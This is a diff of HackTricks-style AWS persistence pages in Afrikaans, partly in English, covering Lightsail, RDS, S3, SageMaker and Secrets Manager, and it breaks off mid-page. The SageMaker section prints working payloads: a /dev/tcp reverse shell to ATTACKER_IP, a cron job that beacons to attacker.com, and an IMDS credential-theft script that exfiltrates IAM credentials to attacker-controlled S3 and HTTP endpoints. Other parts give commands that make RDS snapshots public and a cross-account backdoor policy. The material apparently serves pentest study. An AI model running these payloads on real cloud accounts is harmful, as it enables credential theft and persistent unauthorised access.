### Agterdeur Instansies
|
||||
|
||||
'n Aanvaller kan toegang tot die instansies verkry en hulle agterdeur:
|
||||
|
||||
- Deur 'n tradisionele **rootkit** te gebruik
|
||||
- 'n Nuwe **publieke SSH-sleutel** by te voeg
|
||||
- 'n Poort bloot te stel met poortklop met 'n agterdeur
|
||||
|
||||
### DNS volharding
|
||||
|
||||
As domeine gekonfigureer is:
|
||||
|
||||
- Skep 'n subdomein wat jou IP aanwys sodat jy 'n **subdomein oorneem** sal hê
|
||||
- Skep **SPF** rekord wat jou toelaat om **e-posse** van die domein te stuur
|
||||
- Konfigureer die **hoofdomein IP na jou eie** en voer 'n **MitM** uit van jou IP na die wettige een
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Vir meer inligting kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Laai instansie SSH-sleutels en DB-wagwoorde af
|
||||
|
||||
Dit sal waarskynlik nie verander word nie, so om dit te hê is 'n goeie opsie vir persistensie
|
||||
|
||||
### Backdoor Instansies
|
||||
|
||||
'n aanvaller kan toegang tot die instansies kry en 'n backdoor op hulle installeer:
|
||||
|
||||
- Deur byvoorbeeld 'n tradisionele **rootkit** te gebruik
|
||||
- Voeg 'n nuwe **public SSH key** by
|
||||
- Blootstel 'n poort via port knocking met 'n backdoor
|
||||
|
||||
### DNS Persistensie
|
||||
|
||||
As domeine gekonfigureer is:
|
||||
|
||||
- Skep 'n subdomein wat na jou IP wys sodat jy 'n **subdomain takeover** sal hê
|
||||
- Skep 'n **SPF** rekord wat jou toelaat om **e-posse** vanaf die domein te stuur
|
||||
- Konfigureer die **hoofdomein-IP na jou eie een** en voer 'n **MitM** vanaf jou IP na die legitieme een uit
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - RDS Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Maak instansie publiek toeganklik: `rds:ModifyDBInstance`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **'n bestaande RDS-instansie wysig om publieke toeganklikheid te aktiveer**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Skep 'n admin gebruiker binne die DB
|
||||
|
||||
'n Aanvaller kan eenvoudig **'n gebruiker binne die DB skep** sodat selfs as die meester gebruiker se wagwoord gewysig word, hy **nie die toegang tot die databasis verloor nie**.
|
||||
|
||||
### Maak snapshot publiek
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Maak instansie publiek toeganklik: `rds:ModifyDBInstance`
|
||||
|
||||
'n aanvaller met hierdie toestemming kan **'n bestaande RDS-instansie wysig om publieke toeganklikheid moontlik te maak**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Skep 'n admin gebruiker in die DB
|
||||
|
||||
'n aanvaller kan net **'n gebruiker in die DB skep**, sodat selfs as die wagwoord van die master-gebruiker gewysig word, hy **nie toegang tot die database verloor nie**.
|
||||
|
||||
### Maak snapshot publiek
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Kliëntkant Enkripsie
|
||||
|
||||
Wanneer die enkripsieproses voltooi is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal **die gegenereerde versleutelde sleutel binne die metadata** van die lêer stoor ([python code voorbeeld](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat wanneer die ontsleuteling plaasvind, dit dit weer met KMS kan ontsleutel:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Daarom kan 'n aanvaller hierdie sleutel uit die metadata verkry en dit met KMS ontsleutel (`aws kms decrypt`) om die sleutel te verkry wat gebruik is om die inligting te enkripteer. Op hierdie manier sal die aanvaller die enkripsiesleutel hê en as daardie sleutel hergebruik word om ander lêers te enkripteer, sal hy dit kan gebruik.
|
||||
|
||||
### Gebruik van S3 ACLs
|
||||
|
||||
Alhoewel ACLs van emmers gewoonlik gedeaktiveer is, kan 'n aanvaller met genoeg regte dit misbruik (as dit geaktiveer is of as die aanvaller dit kan aktiveer) om toegang tot die S3-emmer te behou.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Wanneer die enkripsieproses klaar is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal die gegenereerde enkripsiesleutel **in die metadata** van die lêer stoor ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat dit by dekripsie weer met KMS gedekripteer kan word:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Daardeur kan 'n aanvaller hierdie sleutel uit die metadata kry en dit met KMS dekodeer (`aws kms decrypt`) om die sleutel te bekom wat gebruik is om die inligting te enkripteer. Op hierdie manier sal die aanvaller die enkripsiesleutel hê, en as daardie sleutel hergebruik word om ander lêers te enkripteer, sal hy dit ook vir daardie lêers kan gebruik.
|
||||
|
||||
### Gebruik van S3 ACLs
|
||||
|
||||
Alhoewel ACLs van buckets gewoonlik gedeaktiveer is, kan 'n aanvaller met genoegsame bevoegdhede dit misbruik (indien geaktiveer of as die aanvaller dit kan aktiveer) om toegang tot die S3 bucket te behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Oorsig van Volhardingstegnieke
|
||||
|
||||
Hierdie afdeling skets metodes om volharding in SageMaker te verkry deur gebruik te maak van Levensiklus Konfigurasies (LCCs), insluitend omgekeerde shelle, cron take, geloofsbriefdiefstal via IMDS, en SSH agterdeure. Hierdie skripte loop met die instance se IAM rol en kan oor herlaaiings volhard. Meeste tegnieke vereis uitgaande netwerktoegang, maar die gebruik van dienste op die AWS kontrolevlak kan steeds sukses toelaat as die omgewing in 'VPC-slegs' modus is.
|
||||
#### Nota: SageMaker-notebookinstansies is in wese bestuurde EC2-instanies wat spesifiek vir masjienleer werklas geconfigureer is.
|
||||
|
||||
## Vereiste Toestemmings
|
||||
* Notebook Instansies:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Toepassings:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Stel Levensikluskonfigurasie op Notaboekinstansies in
|
||||
|
||||
### Voorbeeld AWS CLI Opdragte:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Stel Levensiklus Konfigurasie in op SageMaker Studio
|
||||
|
||||
Levensiklus Konfigurasies kan op verskillende vlakke en aan verskillende app tipes binne SageMaker Studio geheg word.
|
||||
|
||||
### Studio Domein Vlak (Alle Gebruikers)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Ruimtevlak (Individuele of Gedeelde Ruimtes)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipes van Studio Toepassing Levensiklus Konfigurasies
|
||||
|
||||
Levensiklus konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes:
|
||||
* JupyterServer: Voer skripte uit tydens Jupyter bediener opstart, ideaal vir volhardingsmeganismes soos omgekeerde skale en cron take.
|
||||
* KernelGateway: Voer uit tydens kern poorttoepassing bekendstelling, nuttig vir aanvanklike opstelling of volhoubare toegang.
|
||||
* CodeEditor: Toegepas op die Kode Redigeerder (Code-OSS), wat skripte moontlik maak wat tydens die begin van kode redigeersessies uitgevoer word.
|
||||
|
||||
### Voorbeeld Opdrag vir Elke Tipe:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritieke Inligting:
|
||||
* Die aanhegting van LCCs op die domein- of ruimtevlak beïnvloed alle gebruikers of toepassings binne die omvang.
|
||||
* Vereis hoër toestemmings (sagemaker:UpdateDomain, sagemaker:UpdateSpace) wat tipies meer haalbaar is op ruimtevlak as op domeinvlak.
|
||||
* Netwerkvlakbeheer (bv. streng uitgangsfiltrering) kan suksesvolle omgekeerde skale of data-uitvloeiing voorkom.
|
||||
|
||||
## Omgekeerde Skaal via Levensiklus Konfigurasie
|
||||
|
||||
SageMaker Levensiklus Konfigurasies (LCCs) voer pasgemaakte skripte uit wanneer notaboekinstansies begin. 'n Aanvaller met toestemmings kan 'n volgehoue omgekeerde skaal tot stand bring.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistensie deur Levensiklus Konfigurasie
|
||||
|
||||
'n Aanvaller kan cron take deur LCC-skripte inspuit, wat periodieke uitvoering van kwaadwillige skripte of opdragte verseker, wat stil persistensie moontlik maak.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Kredensiaal Uitsifting via IMDS (v1 & v2)
|
||||
|
||||
Levensiklus konfigurasies kan die Instansie Metadata Diens (IMDS) ondervra om IAM kredensiale te verkry en dit na 'n aanvaller-beheerde ligging uit te sift.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Oorsig van Persistence Techniques
|
||||
|
||||
This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. Hierdie afdeling beskryf metodes om persistence in SageMaker te verkry deur Lifecycle Configurations (LCCs) te misbruik, insluitend reverse shells, cron jobs, credential theft via IMDS en SSH backdoors. Hierdie skripte hardloop met die instance’s IAM role en kan ná 'n herstart voortbestaan. Die meeste tegnieke vereis outbound network access, maar die gebruik van services op die AWS control plane kan steeds sukses toelaat as die omgewing in 'VPC-only" mode is.
|
||||
|
||||
> [!TIP]
|
||||
> Nota: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
|
||||
|
||||
## Vereiste Toestemmings
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio toepassings:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Stel Lifecycle Configuration op Notebook Instances
|
||||
|
||||
### Voorbeeld AWS CLI-opdragte:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Stel Lifecycle Configuration in SageMaker Studio
|
||||
|
||||
Lifecycle Configurations kan op verskeie vlakke en aan verskillende app-tipes binne SageMaker Studio aangeheg word.
|
||||
|
||||
### Studio-domeinvlak (alle gebruikers)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space-vlak (Individueel of Gedeelde Spaces)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Soorte van Studio Application Lifecycle Configurations
|
||||
|
||||
Lifecycle-konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes:
|
||||
* JupyterServer: Voer skripte tydens Jupyter-server-opstart uit, ideaal vir meganismes vir persistente toegang soos reverse shells en cron jobs.
|
||||
* KernelGateway: Voer uit tydens die opstart van die kernel gateway-app, nuttig vir aanvanklike opstelling of persistente toegang.
|
||||
* CodeEditor: Geld vir die Code Editor (Code-OSS), en maak skripte moontlik wat uitgevoer word by die begin van code editing-sessies.
|
||||
|
||||
### Voorbeeldopdrag vir elke tipe:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### Kode-redigeerder
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritieke Inligting:
|
||||
* Die aanheg van LCCs op domain- of space-vlak beïnvloed alle gebruikers of toepassings binne die omvang.
|
||||
* Vereis hoër regte (sagemaker:UpdateDomain, sagemaker:UpdateSpace); gewoonlik meer uitvoerbaar op space as op domain-vlak.
|
||||
* Netwerkvlak-kontroles (bv. streng egress-filtering) kan suksesvolle reverse shells of data exfiltration voorkom.
|
||||
|
||||
## Reverse Shell via Lifecycle Configuration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) voer pasgemaakte skripte uit wanneer notebook instances begin. 'n Aanvaller met die nodige regte kan 'n volhoubare reverse shell opstel.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
'n aanvaller kan cron jobs deur LCC scripts insluit, wat die periodieke uitvoering van kwaadaardige scripts of commands verseker en sluipende persistence moontlik maak.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Lifecycle configurations kan by die Instance Metadata Service (IMDS) navraag doen om IAM credentials op te haal en dit na 'n attacker-controlled location te exfiltrate.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Persistensie via Model Registry resource policy (PutModelPackageGroupPolicy)
|
||||
|
||||
Misbruik die hulpbron-gebaseerde beleid op 'n SageMaker Model Package Group om aan 'n eksterne principal kruis-rekening regte te verleen (bv., CreateModelPackage/Describe/List). Dit skep 'n duursaam agterdeur wat toelaat om vergiftigde modelweergawes op te laai of modelmetadata/artefakte te lees, selfs as die aanvaller se IAM-gebruiker/rol in die slagofferrekening verwyder word.
|
||||
|
||||
Benodigde toestemmings
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Stappe (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Aantekeninge
|
||||
- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
|
||||
- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.
|
||||
|
||||
Impak
|
||||
- Volhoubare cross-account beheer van 'n Model Registry group: attacker kan kwaadwillige modelweergawes publiseer of model-metadata enumereer/lees selfs nadat hul IAM entities in die victim account verwyder is.
|
||||
|
||||
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
Misbruik SageMaker Canvas user settings om model registry skrywes stilweg na 'n attacker-controlled account om te lei deur ModelRegisterSettings te aktiveer en CrossAccountModelRegisterRoleArn na 'n attacker role in 'n ander account te wys.
|
||||
|
||||
Benodigde permissies
|
||||
- sagemaker:UpdateUserProfile op die teiken UserProfile
|
||||
- Opsioneel: sagemaker:CreateUserProfile op 'n Domain wat jy beheer
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Secrets Manager Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Deur Hulpbronne Beleid
|
||||
|
||||
Dit is moontlik om **toegang tot geheime te verleen aan eksterne rekeninge** deur hulpbronne beleid. Kyk na die [**Secrets Manager Privesc bladsy**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) vir meer inligting. Let daarop dat om **toegang tot 'n geheim' te hê, die eksterne rekening ook **toegang tot die KMS-sleutel wat die geheim enkripteer** sal benodig.
|
||||
|
||||
### Deur Secrets Rotate Lambda
|
||||
|
||||
Om **geheime** outomaties te **roteer**, word 'n geconfigureerde **Lambda** aangeroep. As 'n aanvaller die **kode** kon **verander**, kon hy direk die **nuwe geheim** na homself **uitvoer**.
|
||||
|
||||
Dit is hoe lambda kode vir so 'n aksie kan lyk:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+234
@@ -0,0 +1,234 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
Dit is moontlik om via Resource Policies **toegang tot secrets aan eksterne rekeninge toe te ken**. Kyk na die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) vir meer inligting. Let daarop dat om **toegang tot 'n secret te kry**, die eksterne rekening ook **toegang tot die KMS key wat die secret enkripteer** nodig sal hê.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
